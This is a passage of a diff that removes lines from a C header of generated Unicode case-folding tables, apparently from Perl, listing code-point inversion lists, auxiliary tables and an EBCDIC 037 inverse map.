0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x432, - 0x433, - 0x434, - 0x435, - 0x43E, - 0x43F, - 0x441, - 0x442, - 0x443, - 0x44A, - 0x44B, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x13A0, - 0x13F0, - 0x13F6, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E9E, - 0x1E9F, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FBC, - 0x1FBD, - 0x1FC3, - 0x1FC4, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FF3, - 0x1FF4, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xFB05, - 0xFB06, - 0xFB07, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - IVCF_0 = 0, - IVCF_use_AUX_TABLE_1 = -1, - IVCF_use_AUX_TABLE_2 = -2, - IVCF_use_AUX_TABLE_3 = -3, - IVCF_use_AUX_TABLE_4 = -4, - IVCF_use_AUX_TABLE_5 = -5, - IVCF_use_AUX_TABLE_6 = -6, - IVCF_use_AUX_TABLE_7 = -7, - IVCF_use_AUX_TABLE_8 = -8, - IVCF_use_AUX_TABLE_9 = -9, - IVCF_use_AUX_TABLE_10 = -10, - IVCF_use_AUX_TABLE_11 = -11, - IVCF_use_AUX_TABLE_12 = -12, - IVCF_use_AUX_TABLE_13 = -13, - IVCF_use_AUX_TABLE_14 = -14, - IVCF_use_AUX_TABLE_15 = -15, - IVCF_use_AUX_TABLE_16 = -16, - IVCF_use_AUX_TABLE_17 = -17, - IVCF_use_AUX_TABLE_18 = -18, - IVCF_use_AUX_TABLE_19 = -19, - IVCF_use_AUX_TABLE_20 = -20, - IVCF_use_AUX_TABLE_21 = -21, - IVCF_use_AUX_TABLE_22 = -22, - IVCF_use_AUX_TABLE_23 = -23, - IVCF_use_AUX_TABLE_24 = -24, - IVCF_use_AUX_TABLE_25 = -25, - IVCF_use_AUX_TABLE_26 = -26, - IVCF_use_AUX_TABLE_27 = -27 -} IVCF_enum; - -#define HAS_IVCF_AUX_TABLES - -static const unsigned int IVCF_AUX_TABLE_1[] = { - 0x67, - 0x212B -}; - -static const unsigned int IVCF_AUX_TABLE_2[] = { - 0xD2, - 0x212A -}; - -static const unsigned int IVCF_AUX_TABLE_3[] = { - 0xE2, - 0x17F -}; - -static const unsigned int IVCF_AUX_TABLE_4[] = { - 0x1C4, - 0x1C5 -}; - -static const unsigned int IVCF_AUX_TABLE_5[] = { - 0x1C7, - 0x1C8 -}; - -static const unsigned int IVCF_AUX_TABLE_6[] = { - 0x1CA, - 0x1CB -}; - -static const unsigned int IVCF_AUX_TABLE_7[] = { - 0x1F1, - 0x1F2 -}; - -static const unsigned int IVCF_AUX_TABLE_8[] = { - 0x392, - 0x3D0 -}; - -static const unsigned int IVCF_AUX_TABLE_9[] = { - 0x395, - 0x3F5 -}; - -static const unsigned int IVCF_AUX_TABLE_10[] = { - 0x398, - 0x3D1, - 0x3F4 -}; - -static const unsigned int IVCF_AUX_TABLE_11[] = { - 0x345, - 0x399, - 0x1FBE -}; - -static const unsigned int IVCF_AUX_TABLE_12[] = { - 0x39A, - 0x3F0 -}; - -static const unsigned int IVCF_AUX_TABLE_13[] = { - 0xB5, - 0x39C -}; - -static const unsigned int IVCF_AUX_TABLE_14[] = { - 0x3A0, - 0x3D6 -}; - -static const unsigned int IVCF_AUX_TABLE_15[] = { - 0x3A1, - 0x3F1 -}; - -static const unsigned int IVCF_AUX_TABLE_16[] = { - 0x3A3, - 0x3C2 -}; - -static const unsigned int IVCF_AUX_TABLE_17[] = { - 0x3A6, - 0x3D5 -}; - -static const unsigned int IVCF_AUX_TABLE_18[] = { - 0x3A9, - 0x2126 -}; - -static const unsigned int IVCF_AUX_TABLE_19[] = { - 0x412, - 0x1C80 -}; - -static const unsigned int IVCF_AUX_TABLE_20[] = { - 0x414, - 0x1C81 -}; - -static const unsigned int IVCF_AUX_TABLE_21[] = { - 0x41E, - 0x1C82 -}; - -static const unsigned int IVCF_AUX_TABLE_22[] = { - 0x421, - 0x1C83 -}; - -static const unsigned int IVCF_AUX_TABLE_23[] = { - 0x422, - 0x1C84, - 0x1C85 -}; - -static const unsigned int IVCF_AUX_TABLE_24[] = { - 0x42A, - 0x1C86 -}; - -static const unsigned int IVCF_AUX_TABLE_25[] = { - 0x462, - 0x1C87 -}; - -static const unsigned int IVCF_AUX_TABLE_26[] = { - 0x1E60, - 0x1E9B -}; - -static const unsigned int IVCF_AUX_TABLE_27[] = { - 0x1C88, - 0xA64A -}; - -static const unsigned int * const IVCF_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - IVCF_AUX_TABLE_1, - IVCF_AUX_TABLE_2, - IVCF_AUX_TABLE_3, - IVCF_AUX_TABLE_4, - IVCF_AUX_TABLE_5, - IVCF_AUX_TABLE_6, - IVCF_AUX_TABLE_7, - IVCF_AUX_TABLE_8, - IVCF_AUX_TABLE_9, - IVCF_AUX_TABLE_10, - IVCF_AUX_TABLE_11, - IVCF_AUX_TABLE_12, - IVCF_AUX_TABLE_13, - IVCF_AUX_TABLE_14, - IVCF_AUX_TABLE_15, - IVCF_AUX_TABLE_16, - IVCF_AUX_TABLE_17, - IVCF_AUX_TABLE_18, - IVCF_AUX_TABLE_19, - IVCF_AUX_TABLE_20, - IVCF_AUX_TABLE_21, - IVCF_AUX_TABLE_22, - IVCF_AUX_TABLE_23, - IVCF_AUX_TABLE_24, - IVCF_AUX_TABLE_25, - IVCF_AUX_TABLE_26, - IVCF_AUX_TABLE_27 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 IVCF_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* IVCF_AUX_TABLE_1 */, - 2 /* IVCF_AUX_TABLE_2 */, - 2 /* IVCF_AUX_TABLE_3 */, - 2 /* IVCF_AUX_TABLE_4 */, - 2 /* IVCF_AUX_TABLE_5 */, - 2 /* IVCF_AUX_TABLE_6 */, - 2 /* IVCF_AUX_TABLE_7 */, - 2 /* IVCF_AUX_TABLE_8 */, - 2 /* IVCF_AUX_TABLE_9 */, - 3 /* IVCF_AUX_TABLE_10 */, - 3 /* IVCF_AUX_TABLE_11 */, - 2 /* IVCF_AUX_TABLE_12 */, - 2 /* IVCF_AUX_TABLE_13 */, - 2 /* IVCF_AUX_TABLE_14 */, - 2 /* IVCF_AUX_TABLE_15 */, - 2 /* IVCF_AUX_TABLE_16 */, - 2 /* IVCF_AUX_TABLE_17 */, - 2 /* IVCF_AUX_TABLE_18 */, - 2 /* IVCF_AUX_TABLE_19 */, - 2 /* IVCF_AUX_TABLE_20 */, - 2 /* IVCF_AUX_TABLE_21 */, - 2 /* IVCF_AUX_TABLE_22 */, - 3 /* IVCF_AUX_TABLE_23 */, - 2 /* IVCF_AUX_TABLE_24 */, - 2 /* IVCF_AUX_TABLE_25 */, - 2 /* IVCF_AUX_TABLE_26 */, - 2 /* IVCF_AUX_TABLE_27 */ -}; - -static const int _Perl_IVCF_invmap[] = { /* for EBCDIC 037 */ - 0, - 0xC0, - IVCF_use_AUX_TABLE_1, - 0xC6, - 0, - 0xC6, - 0x1E9E, - 0, - 0xD8, - 0, - 0x41, - 0, - 0xC6, - 0xD8, - 0, - 0x41, - IVCF_use_AUX_TABLE_2, - 0x4C, - 0, - 0xC6, - 0, - IVCF_use_AUX_TABLE_3, - 0x54, - 0, - 0xC6, - 0, - 0xD8, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - IVCF_use_AUX_TABLE_4, - 0, - IVCF_use_AUX_TABLE_5, - 0, - IVCF_use_AUX_TABLE_6, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - 0, - IVCF_use_AUX_TABLE_7, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - 0x1FD3, - 0, - 0x386, - 0x388, - 0x1FE3, - 0x391, - IVCF_use_AUX_TABLE_8, - 0x393, - IVCF_use_AUX_TABLE_9, - 0x396, - IVCF_use_AUX_TABLE_10, - IVCF_use_AUX_TABLE_11, - IVCF_use_AUX_TABLE_12, - 0x39B, - IVCF_use_AUX_TABLE_13, - 0x39D, - IVCF_use_AUX_TABLE_14, - IVCF_use_AUX_TABLE_15, - 0, - IVCF_use_AUX_TABLE_16, - 0x3A4, - IVCF_use_AUX_TABLE_17, - 0x3A7, - IVCF_use_AUX_TABLE_18, - 0x3AA, - 0x38C, - 0x38E, - 0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0, - 0x3F9, - 0x37F, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - IVCF_use_AUX_TABLE_19, - 0x413, - IVCF_use_AUX_TABLE_20, - 0x415, - IVCF_use_AUX_TABLE_21, - 0x41F, - IVCF_use_AUX_TABLE_22, - IVCF_use_AUX_TABLE_23, - 0x423, - IVCF_use_AUX_TABLE_24, - 0x42B, - 0x400, - 0, - 0x460, - 0, - IVCF_use_AUX_TABLE_25, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - 0, - 0xAB70, - 0x13F8, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 